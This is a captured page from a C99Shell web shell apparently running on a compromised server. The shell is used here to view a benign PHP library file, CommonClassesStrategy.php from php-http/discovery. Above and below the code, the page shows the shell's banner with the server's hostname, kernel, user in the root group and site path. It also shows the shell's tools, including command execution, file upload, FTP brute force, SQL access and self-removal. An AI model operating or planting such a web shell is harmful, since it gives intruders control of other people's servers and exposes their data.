!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/php-http/discovery/src/Strategy/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CommonClassesStrategy.php (7.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Http\Discovery\Strategy;

use 
GuzzleHttp\Client as GuzzleHttp;
use 
GuzzleHttp\Promise\Promise;
use 
GuzzleHttp\Psr7\Request as GuzzleRequest;
use 
Http\Adapter\Artax\Client as Artax;
use 
Http\Adapter\Buzz\Client as Buzz;
use 
Http\Adapter\Cake\Client as Cake;
use 
Http\Adapter\Guzzle5\Client as Guzzle5;
use 
Http\Adapter\Guzzle6\Client as Guzzle6;
use 
Http\Adapter\Guzzle7\Client as Guzzle7;
use 
Http\Adapter\React\Client as React;
use 
Http\Client\Curl\Client as Curl;
use 
Http\Client\HttpAsyncClient;
use 
Http\Client\HttpClient;
use 
Http\Client\Socket\Client as Socket;
use 
Http\Discovery\ClassDiscovery;
use 
Http\Discovery\Exception\NotFoundException;
use 
Http\Discovery\Psr17FactoryDiscovery;
use 
Http\Message\MessageFactory;
use 
Http\Message\MessageFactory\DiactorosMessageFactory;
use 
Http\Message\MessageFactory\GuzzleMessageFactory;
use 
Http\Message\MessageFactory\SlimMessageFactory;
use 
Http\Message\StreamFactory;
use 
Http\Message\StreamFactory\DiactorosStreamFactory;
use 
Http\Message\StreamFactory\GuzzleStreamFactory;
use 
Http\Message\StreamFactory\SlimStreamFactory;
use 
Http\Message\UriFactory;
use 
Http\Message\UriFactory\DiactorosUriFactory;
use 
Http\Message\UriFactory\GuzzleUriFactory;
use 
Http\Message\UriFactory\SlimUriFactory;
use 
Laminas\Diactoros\Request as DiactorosRequest;
use 
Nyholm\Psr7\Factory\HttplugFactory as NyholmHttplugFactory;
use 
Psr\Http\Client\ClientInterface as Psr18Client;
use 
Psr\Http\Message\RequestFactoryInterface as Psr17RequestFactory;
use 
Slim\Http\Request as SlimRequest;
use 
Symfony\Component\HttpClient\HttplugClient as SymfonyHttplug;
use 
Symfony\Component\HttpClient\Psr18Client as SymfonyPsr18;

/**
 * @internal
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 *
 * Don't miss updating src/Composer/Plugin.php when adding a new supported class.
 */
final class CommonClassesStrategy implements DiscoveryStrategy
{
    
/**
     * @var array
     */
    
private static $classes = [
        
MessageFactory::class => [
            [
'class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]],
            [
'class' => GuzzleMessageFactory::class, 'condition' => [GuzzleRequest::class, GuzzleMessageFactory::class]],
            [
'class' => DiactorosMessageFactory::class, 'condition' => [DiactorosRequest::class, DiactorosMessageFactory::class]],
            [
'class' => SlimMessageFactory::class, 'condition' => [SlimRequest::class, SlimMessageFactory::class]],
        ],
        
StreamFactory::class => [
            [
'class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]],
            [
'class' => GuzzleStreamFactory::class, 'condition' => [GuzzleRequest::class, GuzzleStreamFactory::class]],
            [
'class' => DiactorosStreamFactory::class, 'condition' => [DiactorosRequest::class, DiactorosStreamFactory::class]],
            [
'class' => SlimStreamFactory::class, 'condition' => [SlimRequest::class, SlimStreamFactory::class]],
        ],
        
UriFactory::class => [
            [
'class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]],
            [
'class' => GuzzleUriFactory::class, 'condition' => [GuzzleRequest::class, GuzzleUriFactory::class]],
            [
'class' => DiactorosUriFactory::class, 'condition' => [DiactorosRequest::class, DiactorosUriFactory::class]],
            [
'class' => SlimUriFactory::class, 'condition' => [SlimRequest::class, SlimUriFactory::class]],
        ],
        
HttpAsyncClient::class => [
            [
'class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, Promise::class, [self::class, 'isPsr17FactoryInstalled']]],
            [
'class' => Guzzle7::class, 'condition' => Guzzle7::class],
            [
'class' => Guzzle6::class, 'condition' => Guzzle6::class],
            [
'class' => Curl::class, 'condition' => Curl::class],
            [
'class' => React::class, 'condition' => React::class],
        ],
        
HttpClient::class => [
            [
'class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, [self::class, 'isPsr17FactoryInstalled']]],
            [
'class' => Guzzle7::class, 'condition' => Guzzle7::class],
            [
'class' => Guzzle6::class, 'condition' => Guzzle6::class],
            [
'class' => Guzzle5::class, 'condition' => Guzzle5::class],
            [
'class' => Curl::class, 'condition' => Curl::class],
            [
'class' => Socket::class, 'condition' => Socket::class],
            [
'class' => Buzz::class, 'condition' => Buzz::class],
            [
'class' => React::class, 'condition' => React::class],
            [
'class' => Cake::class, 'condition' => Cake::class],
            [
'class' => Artax::class, 'condition' => Artax::class],
            [
                
'class' => [self::class, 'buzzInstantiate'],
                
'condition' => [\Buzz\Client\FileGetContents::class, \Buzz\Message\ResponseBuilder::class],
            ],
        ],
        
Psr18Client::class => [
            [
                
'class' => [self::class, 'symfonyPsr18Instantiate'],
                
'condition' => [SymfonyPsr18::class, Psr17RequestFactory::class],
            ],
            [
                
'class' => GuzzleHttp::class,
                
'condition' => [self::class, 'isGuzzleImplementingPsr18'],
            ],
            [
                
'class' => [self::class, 'buzzInstantiate'],
                
'condition' => [\Buzz\Client\FileGetContents::class, \Buzz\Message\ResponseBuilder::class],
            ],
        ],
    ];

    public static function 
getCandidates($type)
    {
        if (
Psr18Client::class === $type) {
            return 
self::getPsr18Candidates();
        }

        return 
self::$classes[$type] ?? [];
    }

    
/**
     * @return array The return value is always an array with zero or more elements. Each
     *               element is an array with two keys ['class' => string, 'condition' => mixed].
     */
    
private static function getPsr18Candidates()
    {
        
$candidates self::$classes[Psr18Client::class];

        
// HTTPlug 2.0 clients implements PSR18Client too.
        
foreach (self::$classes[HttpClient::class] as $c) {
            if (!
is_string($c['class'])) {
                continue;
            }
            try {
                if (
ClassDiscovery::safeClassExists($c['class']) && is_subclass_of($c['class'], Psr18Client::class)) {
                    
$candidates[] = $c;
                }
            } catch (
\Throwable $e) {
                
trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-18 Client is available'get_class($e), $e->getMessage()), E_USER_WARNING);
            }
        }

        return 
$candidates;
    }

    public static function 
buzzInstantiate()
    {
        return new 
\Buzz\Client\FileGetContents(Psr17FactoryDiscovery::findResponseFactory());
    }

    public static function 
symfonyPsr18Instantiate()
    {
        return new 
SymfonyPsr18(nullPsr17FactoryDiscovery::findResponseFactory(), Psr17FactoryDiscovery::findStreamFactory());
    }

    public static function 
isGuzzleImplementingPsr18()
    {
        return 
defined('GuzzleHttp\ClientInterface::MAJOR_VERSION');
    }

    
/**
     * Can be used as a condition.
     *
     * @return bool
     */
    
public static function isPsr17FactoryInstalled()
    {
        try {
            
Psr17FactoryDiscovery::findResponseFactory();
        } catch (
NotFoundException $e) {
            return 
false;
        } catch (
\Throwable $e) {
            
trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-17 ResponseFactory is available'get_class($e), $e->getMessage()), E_USER_WARNING);

            return 
false;
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--